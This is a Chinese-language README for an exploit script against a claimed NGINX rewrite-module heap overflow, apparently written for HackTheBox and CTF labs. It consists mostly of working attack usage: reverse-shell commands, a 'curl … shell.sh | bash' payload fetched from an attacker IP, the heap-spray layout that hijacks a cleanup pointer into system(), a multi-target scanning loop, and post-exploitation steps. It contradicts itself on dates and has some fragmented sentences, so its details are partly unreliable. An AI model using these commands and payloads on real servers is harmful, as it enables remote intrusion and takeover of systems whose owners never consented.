CVE-2026-42945 的漏洞利用
针对2024年发现的NGINX堆缓冲区溢出漏洞的独立利用脚本。此版本针对HackTheBox和CTF环境进行了优化,这些环境下无法设置Docker容器。
CVE-2026-42945 是 NGINX 的 ngx_http_rewrite_module 中一个严重的堆缓冲区溢出漏洞,自2008年(版本0.6.27)以来一直存在。该漏洞发生在以下情况:
rewrite 指令的替换参数中包含 ?(设置 is_args = 1)set 指令捕获 URI 的一部分is_args = 0)is_args = 1)# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd
# No additional Python packages needed - uses only stdlib!
python3 nginx_rift_htb.py --target 10.10.11.x --check-only
将会:
/api/ 端点python3 nginx_rift_helper.py --target 10.10.11.x --all
执行以下操作:
执行命令:
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"
获取反弹 Shell:
# 先启动监听器(在另一个终端)
nc -lvnp 4444
# 运行利用脚本
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444
# 执行 'id' 命令
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"
# 执行 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"
# 读取 /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"
# 终端 1:启动监听器
nc -lvnp 4444
# 终端 2:运行利用脚本
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--shell \
--lhost 10.10.14.5 \
--lport 4444 \
--verbose
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--port 8080 \
--cmd "curl http://10.10.14.5/shell.sh | bash" \
--tries 20 \
--verbose
ngx_pool_cleanup_s 结构体/api/ 发送一个精心构造的GET请求,该URI在转义时会溢出system() 执行我们的命令该利用脚本假设 ASLR 已禁用 或你知道地址。在 HTB 上:
如果启用了ASLR,你可能需要:
易受攻击的配置要求:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
/api/, /admin/, /internal/可能的原因:
system() 位于不同偏移
--verbose 尝试所有偏移始终使用 --verbose 进行调试:
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose
显示:
# 查找你的 tun0 IP
ip addr show tun0 | grep inet
# 将此 IP 用于 --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444
一旦获得初始访问权限:
# 升级为 TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 后台运行并设置终端
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
# 检查当前用户
id
whoami
# 查找标志文件
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null
# 检查 sudo 权限
sudo -l
# 检查 SUID 二进制文件
find / -perm -4000 2>/dev/null
如果需要自定义负载:
# 编辑 nginx_rift_htb.py 中的 make_body() 函数
# 针对不同配置调整 BODY_LEN
# 修改溢出字符串(349 个 'A' + 969 个 '+')
# 创建目标列表
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25
# 逐一测试
while read target; do
echo "Testing $target"
python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt
#!/bin/bash
TARGET=$1
LHOST=$2
echo "[*] 启动监听器..."
nc -lvnp 4444 &
LISTENER_PID=$!
sleep 2
echo "[*] 运行利用脚本..."
python3 nginx_rift_htb.py \
--target $TARGET \
--shell \
--lhost $LHOST \
--lport 4444 \
--verbose
wait $LISTENER_PID
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # Sets is_args=1
set $original_endpoint $1; # Allocates based on is_args=0
}
1. Spray POST → Fill heap with fake cleanup structures
2. GET /api/AAAA...++++...X → Trigger overflow
3. Overflow corrupts adjacent pool cleanup pointer
4. Pool destroyed → Calls system(cmd)
[Heap Spray Body - 4000 bytes]
+0: system_addr (8 bytes)
+8: data_addr (8 bytes)
+16: next (8 bytes, NULL)
+24: command_string (variable)
+remaining: padding 'A'
本工具仅用于教育目的和授权的安全测试。将其用于不属于您或未经明确许可测试的系统是违法的。作者对滥用不承担任何责任。
仅用于教育/研究目的。请负责任地使用。